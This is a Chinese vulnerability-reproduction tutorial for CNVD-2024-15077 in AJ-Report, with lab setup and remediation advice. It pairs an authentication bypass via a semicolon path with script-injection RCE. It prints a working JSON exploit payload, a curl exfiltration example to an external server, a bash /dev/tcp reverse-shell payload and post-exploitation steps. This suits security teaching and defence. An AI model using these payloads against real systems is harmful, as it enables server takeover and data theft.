1. 项目概述:AJ-Report漏洞复现的实战价值
最近在梳理一些开源项目的安全风险时,AJ-Report这个开源BI平台的一个组合漏洞引起了我的注意。这个编号为CNVD-2024-15077的漏洞,本质上是“认证绕过”和“远程代码执行”两个高危漏洞的串联利用。对于从事安全研究、渗透测试或者负责企业应用安全的朋友来说,这类在真实业务系统中发现的、可直接导致服务器沦陷的漏洞,其复现和分析过程极具学习价值。它不像那些停留在理论层面的漏洞,而是清晰地展示了攻击者如何从一个看似微小的权限校验缺陷入手,最终获得在服务器上执行任意命令的能力。今天,我就结合自己的搭建和测试环境,把这个漏洞的来龙去脉、复现细节以及背后的原理掰开揉碎了讲清楚,希望能给想深入理解Web漏洞链利用的朋友提供一个完整的实操案例。
2. 漏洞原理深度剖析
要成功复现并理解一个漏洞,死记硬背POC(概念验证代码)是远远不够的。我们必须深入代码层面,搞清楚“为什么这里会有问题”以及“攻击者是如何利用的”。对于CNVD-2024-15077,我们需要分两步走:先理解认证是如何被绕过的,再明白代码执行是如何发生的。
2.1 认证绕过漏洞的根源:Spring Security路径匹配的“陷阱”
AJ-Report作为一个Spring Boot架构的应用,通常使用Spring Security框架进行权限控制。Spring Security允许开发者通过配置,为不同的URL路径模式指定访问权限,例如/admin/**需要ADMIN角色,/api/**需要认证,而/login、/static/**可以公开访问。
漏洞的核心在于一处路径配置的缺陷。根据公开的漏洞详情,问题出在/dataSetParam/verification这个接口上。开发者的本意可能是:/dataSetParam/**下的所有接口都需要认证,但/dataSetParam/verification这个特定的子路径因为某种业务原因(比如用于前端表单的实时校验)被错误地配置为了匿名访问,或者更常见的情况是,配置规则被优先级更高、更宽松的规则覆盖了。
攻击者利用了一个关键技巧:在路径中插入分号;。他们构造的请求路径是:/dataSetParam/verification;swagger-ui/。
这里发生了什么?在HTTP协议和部分Web容器(如Tomcat)的早期规范中,分号;曾被用于包含路径参数(Path Parameters),例如/file;name=report.pdf。路径参数在路径匹配阶段通常会被容器剥离。也就是说,当Spring Security检查请求路径/dataSetParam/verification;swagger-ui/是否匹配其配置的规则时,它可能会先将;swagger-ui/作为路径参数移除,只拿/dataSetParam/verification去匹配安全规则。
如果安全配置恰好对/dataSetParam/verification这个“干净”的路径没有设置访问限制,那么请求就会被放行。然而,当请求流转到后续的控制器(Controller)进行实际处理时,某些路由解析逻辑可能仍然接收到了完整的、包含分号的原始路径,并成功将其映射到了预期的业务逻辑处理器上。这就导致了安全框架看到的路径和业务逻辑处理的路径不一致,从而实现了认证绕过。
注意:这种利用方式与特定的Spring Security版本、配置方式以及Web容器对路径参数的处理逻辑密切相关。并非所有环境都一定生效,但在AJ-Report受影响版本中,这个条件是成立的。这也提醒我们,在配置安全规则时,要使用严格匹配模式,并充分了解框架的路径解析机制。
2.2 远程代码执行漏洞的触发:动态脚本注入与沙箱缺失
绕过认证后,攻击者面对的是/dataSetParam/verification接口。根据漏洞信息,这是一个用于“数据集参数验证”的功能。通常,BI平台为了灵活性,会允许用户为数据查询参数编写一些简单的验证规则或转换脚本。
漏洞点就在于:这个接口接收并动态执行了用户传入的JavaScript(或类似脚本引擎)代码,且没有对执行环境进行任何安全的沙箱隔离。
我们来看攻击载荷(Payload)的关键部分:
{ "validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();...}" }这个validationRules字段的值是一段JavaScript函数。在Java应用中执行JavaScript,通常会用到像Nashorn(JDK 8-14内置)或GraalVM这样的脚本引擎。
致命的错误在于两点:
- 脚本引擎权限过高:应用在初始化脚本引擎时,没有限制其可访问的Java类。默认情况下,通过脚本引擎可以访问到整个JVM的运行时环境。
- 用户输入直接执行:将未经严格过滤和校验的用户输入(
validationRules)直接传递给脚本引擎执行。
于是,攻击者就可以在JavaScript中直接调用Java API。new java.lang.ProcessBuilder(\"id\").start()这行代码的含义是:在服务器上创建一个新的操作系统进程来执行id命令,并获取其输出。这就等同于在服务器Shell中执行了id命令,实现了远程代码执行。
实操心得:这种“参数验证”或“数据转换”功能是RCE漏洞的高发区。开发者在设计此类功能时,必须假定所有用户输入都是恶意的。要么彻底禁止动态脚本,使用安全的表达式引擎(如SpEL但需严格配置);要么必须构建一个强沙箱,使用Java安全管理器(SecurityManager)或自定义的类过滤器(ClassFilter),白名单式地允许脚本访问极少数安全的工具类。
3. 漏洞复现环境搭建
理解了原理,我们动手搭建一个漏洞环境来验证。最方便的方法是使用Vulhub这个开源漏洞靶场项目。
3.1 环境准备与启动
首先,确保你的实验机器上已经安装了Docker和Docker Compose。这是一个基本前提。
获取环境:从Vulhub官网或GitHub仓库找到AJ-Report的漏洞环境目录。通常路径是
vulhub/aj-report/CVE-2024-xxxx/(有时漏洞编号可能不同,但根据描述找到对应目录即可)。启动服务:进入该目录,执行以下命令:
docker-compose up -d这个命令会从Docker镜像仓库拉取包含AJ-Report 1.4.0漏洞版本的镜像,并在后台启动容器。
确认服务:启动完成后,使用
docker ps命令查看容器是否正常运行。正常情况下,AJ-Report服务会监听在容器的9095端口,并通过Docker映射到你宿主机的某个端口(通常是9095)。在浏览器中访问http://你的宿主机IP:9095,应该能看到AJ-Report的登录页面。
注意事项:
- 网络问题:如果拉取镜像缓慢,可以配置Docker国内镜像加速器。
- 端口冲突:如果宿主机9095端口已被占用,需要修改
docker-compose.yml文件中的端口映射,例如将9095:9095改为9096:9095,然后通过http://你的宿主机IP:9096访问。- 实验环境隔离:务必在隔离的虚拟机或内网环境中进行此实验,切勿在连接公网或存有敏感数据的机器上操作。
3.2 理解靶场网络结构
简单了解一下Docker Compose启动的环境结构,有助于后续排查问题。这个环境通常只包含一个服务:AJ-Report应用本身,它可能基于一个包含了MySQL数据库和所需运行环境的完整镜像。所有漏洞利用的请求,都将发送到这个启动的Web服务上。
4. 漏洞利用复现实操
环境就绪后,我们开始最关键的漏洞利用步骤。我将使用Burp Suite这款工具来演示,你也可以使用Postman或Curl命令行。
4.1 构造认证绕过请求
首先,我们直接向漏洞接口发送请求,而不提供任何登录凭证(如Cookie、Token)。
- 配置代理:打开Burp Suite,确保浏览器或你的HTTP客户端配置了Burp的代理(通常是127.0.0.1:8080)。
- 捕获或构造请求:在Burp的Proxy标签页下,打开拦截(Intercept),然后在浏览器中随便触发一个请求,再切换到Repeater标签页进行手动构造。或者,直接在Repeater中新建请求。
- 填写请求信息:
- 请求方法: POST
- URL:
http://你的靶机IP:9095/dataSetParam/verification;swagger-ui/ - 注意URL中的分号:
/verification;swagger-ui/是绕过认证的关键。
- 设置请求头:需要设置
Content-Type为application/json,因为我们要发送JSON格式的数据体。
其他头如Host、User-Agent按常规填写即可。Content-Type: application/json;charset=UTF-8
4.2 注入远程代码执行载荷
接下来,在请求体中填入我们精心构造的恶意JSON数据。
准备Payload:将以下JSON数据作为请求体。这个Payload定义了一个JavaScript函数,它利用Java的
ProcessBuilder执行系统命令id,并读取命令的输出结果作为函数返回值。{ "ParamName": "", "paramDesc": "", "paramType": "", "sampleItem": "1", "mandatory": true, "requiredFlag": 1, "validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}" }Payload解读:
validationRules字段是攻击入口。java.lang.ProcessBuilder(\"id\").start():创建并启动执行id命令的进程。.getInputStream():获取进程的标准输出流。- 后续代码:将输出流转换为字符串并返回。
发送请求:在Burp Repeater中,将完整的请求(包含恶意请求体的POST请求)发送给靶机。
4.3 结果验证与分析
如果靶场环境搭建正确且漏洞存在,你将收到服务器的响应。
成功响应:响应状态码应为200 OK。在响应体中,你应该能看到
id命令的执行结果,例如:uid=0(root) gid=0(root) groups=0(root)这表示命令执行成功,并且进程是以root权限运行的(在Docker容器中很常见),这危害极大。
结果分析:
- 认证绕过成功:服务器没有返回401未授权或403禁止访问的错误,说明路径
/dataSetParam/verification;swagger-ui/成功绕过了权限检查。 - 代码执行成功:服务器不仅处理了请求,还执行了
validationRules中的脚本,并返回了脚本的执行结果(即命令输出)。这证实了远程代码执行漏洞的存在。 - 漏洞串联:单独一个认证绕过,可能只能访问到一些非敏感信息。但结合这个RCE漏洞,攻击者就获得了系统的完全控制权。这就是“漏洞链”的威力,1+1远大于2。
- 认证绕过成功:服务器没有返回401未授权或403禁止访问的错误,说明路径
实操心得:在实际渗透测试中,发现一个认证绕过点后,要立即以此为据点,对应用进行“横向探索”。使用工具(如Burp的Scanner、Intruder)或手动方式,尝试访问所有已知的、猜测的管理接口或功能端点,特别是那些涉及文件操作、命令执行、数据库查询的功能。AJ-Report这个案例就是教科书般的例子:绕过认证后,攻击者找到了一个可以执行脚本的接口,从而完成权限提升。
5. 漏洞修复与安全加固建议
复现漏洞是为了更好地防御。作为开发或安全人员,我们必须知道如何修复此类问题。
5.1 官方修复方案
对于使用AJ-Report的用户,最直接的方法是升级到已修复的安全版本。根据漏洞信息,v1.4.0之后(可能包含v1.4.1或更高版本)的版本应该已经修复了此问题。升级前务必查看官方发布说明,确认该漏洞已被修补。
5.2 代码层修复要点
如果你是开发者,可以从这个漏洞中吸取以下教训来加固自己的Spring Boot应用:
严格化Spring Security路径匹配:
- 避免使用宽松的匹配模式如
/**。尽可能使用精确路径。 - 使用
mvcMatchers而非antMatchers,因为mvcMatchers的匹配行为更接近Spring MVC的实际处理逻辑,可以减少歧义。 - 在安全配置中,明确拒绝包含分号(
;)、点号(..)等特殊字符的路径请求,或确保安全框架在匹配前对路径进行规范化处理。
- 避免使用宽松的匹配模式如
彻底禁用动态脚本执行:
- 对于类似“参数验证”的功能,评估是否必须使用动态脚本。很多情况下,使用一组预定义的规则选项或一个安全的、功能受限的表达式语言(如AviatorScript、QLExpress,并严格配置白名单)是更安全的选择。
- 如果业务上必须支持用户自定义脚本(这是一个高风险需求),则必须引入沙箱机制:
- 使用Java SecurityManager:为脚本引擎设置严格的安全策略文件,限制其访问文件、网络、执行命令等权限。
- 使用脚本引擎的白名单特性:例如,Nashorn引擎可以通过
ClassFilter或nashorn.args来限制可访问的Java类。只允许访问业务明确需要的工具类(如某些数学计算、字符串处理类)。 - 在独立环境中运行:考虑将脚本执行任务发送到完全隔离的、无网络权限的Docker容器或沙箱进程中执行,执行完毕即销毁。
输入验证与过滤:
- 对
validationRules这类字段进行强验证。不仅检查长度、格式,更要对内容进行关键词过滤(如java.lang.ProcessBuilder、Runtime.exec、getClass、forName等危险类和方法名),但这只是一种辅助手段,不能完全依赖。
- 对
5.3 企业级防护措施
从运维和安全团队角度,可以采取以下措施进行纵深防御:
- Web应用防火墙:部署WAF,并更新规则库,使其能够识别和阻断利用分号进行路径遍历、以及包含明显Java命令执行特征的HTTP请求。
- 运行时应用自保护:采用RASP技术,在应用内部监控危险行为(如通过反射调用
ProcessBuilder、Runtime.exec),一旦发现即时中断并告警。 - 定期漏洞扫描与代码审计:使用SCA工具扫描项目依赖,使用SAST工具对自有代码进行静态分析,定期进行人工代码安全审计,特别关注权限校验和脚本执行相关代码。
- 最小权限原则:运行Java应用的系统账户,应遵循最小权限原则,避免使用root权限。这样即使被RCE,攻击者获得的权限也有限。
6. 漏洞复现中的常见问题与排查
在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。
6.1 环境搭建失败
- 问题:执行
docker-compose up -d后,容器不断重启或快速退出。 - 排查:
- 使用
docker logs <容器ID>查看应用启动日志。常见原因是端口冲突或数据库连接失败。 - 检查
docker-compose.yml文件,确认端口映射是否与宿主机现有服务冲突。 - 可能是镜像拉取不完整。尝试删除本地镜像并重新拉取:
docker-compose down && docker-compose pull && docker-compose up -d。
- 使用
6.2 请求返回404或500错误
- 问题:发送Payload后,服务器返回404 Not Found或500 Internal Server Error。
- 排查:
- 404错误:首先确认URL路径是否正确。确保靶机IP、端口无误,且路径为
/dataSetParam/verification;swagger-ui/。分号是英文分号。可能是Vulhub环境版本略有差异,尝试访问/dataSetParam/verification(不带分号)看是否也是404,以确认接口是否存在。 - 500错误:这是一个“好”迹象,说明请求触达了后端代码,但执行过程出错。查看Docker容器日志
docker logs <容器ID>,通常会有详细的Java异常堆栈信息。可能的原因包括:- 脚本引擎初始化失败。
- Payload中的Java语法在特定JDK版本下不兼容。尝试简化Payload,例如先尝试执行一个简单的计算
return 1+1;来验证脚本执行功能是否正常。
- 404错误:首先确认URL路径是否正确。确保靶机IP、端口无误,且路径为
6.3 命令执行无回显
- 问题:请求返回200,但响应体为空或没有命令执行结果。
- 排查:
- 检查Payload逻辑:确保你的Payload包含了读取命令输出并返回的逻辑。最初的Payload可能只执行命令,没有将输出流读回。我提供的Payload包含了完整的读取循环。
- 尝试不同命令:
id命令在极简的Docker镜像中可能不存在。尝试使用更通用的命令,如ls -la /(列出根目录)或whoami。 - 检查编码与转义:确保JSON格式正确,字符串中的反斜杠
\被正确转义。在Burp中,直接粘贴原始JSON文本即可,它会自动处理。 - 使用DNS或HTTP外带通道:如果怀疑是回显问题,可以尝试使用盲注的方式,通过执行
ping或curl命令将执行结果带到你的公网服务器(需要靶机有网络出口)。例如,执行curl http://你的服务器IP:端口/?$(whoami)`。这需要你有一个可接收请求的公网服务器。
6.4 漏洞利用扩展思考
成功执行id命令只是开始。在真实的安全评估中,我们会利用这个RCE漏洞做更多事:
- 获取反向Shell:这是建立持久化控制的标准操作。可以在Payload中编写更复杂的脚本,使用
bash -c或python -c来反弹一个Shell到你的攻击机。
注意:这需要靶机镜像中包含"validationRules": "function verification(data){new java.lang.ProcessBuilder(\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1\").start(); return 'ok';}"/bin/bash且能访问网络。 - 探测内网信息:执行
ifconfig、ip addr、cat /etc/hosts、netstat -tulnp等命令,了解服务器网络环境。 - 文件系统操作:利用
cat、find、grep等命令读取敏感配置文件、源代码、数据库连接信息等。 - 权限提升尝试:如果当前不是root,可以尝试查找具有SUID权限的可执行文件,或者利用内核漏洞进行提权。
重要警告:以上所有扩展利用手法,仅限在你自己完全控制的、合法的渗透测试环境或漏洞研究环境中进行。未经授权对任何系统进行测试都是违法行为。
通过这样一个从原理到实践,再到防御的完整闭环分析,我们不仅学会了一个漏洞的复现,更重要的是理解了这类漏洞产生的深层原因和防御思路。安全是一个持续的过程,每一次漏洞复现都是一次宝贵的经验积累。